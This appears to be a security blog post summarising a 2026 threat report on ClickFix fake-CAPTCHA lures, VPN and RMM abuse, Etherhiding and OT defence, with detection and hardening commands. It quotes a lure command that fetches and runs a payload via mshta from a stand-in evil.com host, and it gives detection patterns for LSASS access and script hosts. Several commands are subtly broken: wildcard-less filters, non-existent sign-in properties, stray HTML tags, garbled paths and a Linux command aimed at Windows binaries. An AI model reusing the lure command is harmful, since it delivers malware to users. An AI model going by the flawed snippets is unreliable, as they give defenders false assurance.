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Introduction:
Modern cyberattacks have undergone a fundamental shift, moving away from noisy vulnerability exploits to silent, legitimate logins. Blackpoint Cyber’s 2026 Annual Threat Report, based on thousands of SOC investigations, reveals that attackers now primarily compromise organizations by weaponizing everyday tools and trusted credentials. This transformation means that traditional defenses are no longer sufficient, as adversaries blend into normal network activity by using SSL VPNs, RMM software, and even fake CAPTCHA prompts to gain initial access.
Learning Objectives:
- Understand the rise of “trusted compromise” and how attackers abuse legitimate access paths like VPNs and RMM tools.
- Learn to detect and mitigate social engineering techniques, including fake CAPTCHA and ClickFix attacks.
- Implement advanced identity hardening and session monitoring to defend against MFA bypass and session hijacking.
You Should Know:
- Detecting the Social Engineering Epidemic: Fake CAPTCHA & ClickFix
The report highlights that an overwhelming 57.5% of observed incidents originated from fake CAPTCHA and ClickFix campaigns. These attacks manipulate routine user behavior, such as solving a CAPTCHA, to trick users into executing malicious code via the Windows Run dialog.
Step‑by‑Step Guide to Understanding and Mitigating the Attack:
How the Attack Works: A user visits a compromised or malicious site. They are presented with a fake CAPTCHA that instructs them to “Verify you are human” by pressing Win + R, pasting a provided command (`mshta http://evil.com/payload`), and pressing Enter. This executes a script that downloads malware directly without a browser-based warning.
Detection & Simulation: To understand this threat, security teams can simulate the behavior in a safe sandbox. While the actual payload is malicious, the execution vector can be observed using `Sysmon` to log command-line processes.
Linux Command to Investigate Suspicious Processes:
Monitor for unusual mshta or powershell executions spawned from unexpected parents ps aux | grep -E "(mshta|powershell|cscript|wscript)" sudo auditctl -a always,exit -F arch=b64 -S execve -k process_monitor
Windows Command (PowerShell) to Monitor Run Dialog Execution:
Create a Custom View in Event Viewer to track Win+R executions
Check Windows Event ID 4688 (Process Creation) with CommandLine containing "mshta"
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$_.Message -like "mshta"} | Format-List
Mitigation: Implement Application Control (WDAC or AppLocker) to block mshta.exe, regsvr32.exe, and `cscript.exe` from running in user contexts. Additionally, use web filtering to block malicious domains involved in these delivery chains.
- The Identity Crisis: Securing VPNs, RMMs, and Active Sessions
The report states that SSL VPN abuse accounted for 32.8% of incidents, and RMM tool abuse (such as ScreenConnect) represented 30.3%. Attackers are “living off the land” by using compromised credentials to log into remote access tools, making their traffic indistinguishable from legitimate IT admin work.
Step‑by‑Step Guide to Hardening Remote Access and Identity:
Disable Legacy VPN Protocols: Attackers often exploit outdated VPN protocols. Audit your VPN concentrator.
Enforce Phishing-Resistant MFA: Traditional MFA (SMS, Push) is increasingly bypassed via Adversary-in-The-Middle (AiTM) attacks, which accounted for ~16% of cloud account compromises in the report. Switch to FIDO2 WebAuthn (security keys) or certificate-based authentication.
Configuration Snippet (Azure AD / Entra ID Conditional Access):
Policy to require authentication strength (Phishing-resistant MFA)
Equivalent to setting in Portal: Security > Authentication strengths > Create new
{
"displayName": "Require Phishing-Resistant MFA",
"description": "Require WebAuthn/FIDO2 or CBA",
"allowedCombinations": [ "fido2" , "windowsHelloForBusiness"]
}
Monitor for RMM Abuse:
Use EDR or Sysmon to detect unauthorized installation of ScreenConnect or AnyDesk.
Sysmon Config Snippet to monitor RMM tools:
<ProcessCreate onmatch="include"> <CommandLine condition="contains">ScreenConnect</CommandLine> <CommandLine condition="contains">AnyDesk</CommandLine> </ProcessCreate>
Session Token Monitoring: Since attackers steal tokens post-MFA, implement Conditional Access policies for “Session risk” and “Impossible travel.” Use `AzureAD` PowerShell module to review sign-in logs for token reuse anomalies.
PowerShell Command to Audit Entra ID Sign-in Logs:
Check for logins from new IPs immediately after MFA completion
Get-MgAuditLogSignIn -Filter "createdDateTime gt 2025-01-01" -Top 100 | Where-Object {$<em>.MfaRequired -eq $true -and $</em>.Location -ne $_.PreviousLocation}
3. Blocking the “Etherhiding” Infrastructure
The report introduced “Etherhiding,” a technique where threat actors embed malicious payloads within blockchain smart contracts. This decentralized hosting makes traditional take-downs nearly impossible.
Step‑by‑Step Guide to Defending Against Evasive Infrastructure:
Traditional domain blocklists fail here. Instead, focus on the initial communication behavior.
Network Detection:
Monitor DNS traffic for queries to known blockchain gateways rarely used for business (e.g., specific Ethereum nodes).
YARA Rule Snippet to detect script loader:
rule Etherhiding_Loader {
strings:
$s1 = "ethereum" nocase
$s2 = "infura" nocase
$s3 = "web3" nocase
condition:
( uint16(0) == 0x5A4D or uint16(0) == 0x4D5A ) and ( $s1 or $s2 or $s3 )
}
4. Defending the Manufacturing Fortress
Manufacturing accounted for 11.5% of incidents, driven by legacy OT systems and low downtime tolerance. Attackers frequently hold these systems for ransomware.
Step‑by‑Step Guide for Industrial SecOps:
Network Segmentation: Ensure IT and OT networks are firewalled with specific allow-lists. Use `iptables` on Linux-based OT gateways to restrict RDP/SMB traversal.
Linux (iptables) Restrict Traffic to OT VLAN:
sudo iptables -A FORWARD -i eth0 -o eth1 -p tcp --dport 3389 -j DROP
Protocol Filtering: For proprietary industrial protocols, consider deploying an allow-list application firewall like `modsecurity` in reverse-proxy mode to filter out malicious script injection before it hits the OT web interface.
5. Real-Time Human-Led Defense: What “Disrupting 56%” Means
The report notes that the Blackpoint SOC disrupted 56% of incidents before payload deployment. This is achieved through continuous identity and endpoint monitoring (unlike traditional reactive SIEMs).
Key Commands for Proactive Defense (EDR/Threat Hunting):
Windows (PowerShell) – Hunt for LSASS Access:
Attackers dump credentials from LSASS. Hunt for this behavior:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | Where-Object {$_.Message -like "lsass.exe"}
Linux – Detect SSH Key Backdooring:
Verify integrity of authorized_keys files sha256sum /home//.ssh/authorized_keys /root/.ssh/authorized_keys Audit for modifications using inotify inotifywait -m -r -e modify,create,delete /home/.ssh/
What Undercode Say:
- Key Takeaway 1: Authentication is the new perimeter. Attackers don’t hack vulnerabilities; they log in. Investing in phishing-resistant MFA and strict identity governance is no longer optional—it is the core defensive strategy.
- Key Takeaway 2: Trusted tools are the new malware. Whether it’s ScreenConnect, PowerShell, or legitimate VPN clients, SOC teams must baseline normal behavior to detect anomalies. Human-led threat hunting, as highlighted by the 56% disruption rate, is crucial for intercepting threats that automated systems miss.
Prediction:
The trend of “weaponized trust” will accelerate. By late 2026, expect attackers to pivot from abusing human identities to abusing non-human identities (service principals, API keys) at scale. Defenders will be forced to adopt Zero Trust architecture for machines (ZTM) and implement continuous behavioral analytics for every session, not just initial login. The arms race will shift entirely from exploit code to identity anomaly detection.
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IT/Security Reporter URL:
Reported By: Mthomasson Blackpointcyber – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
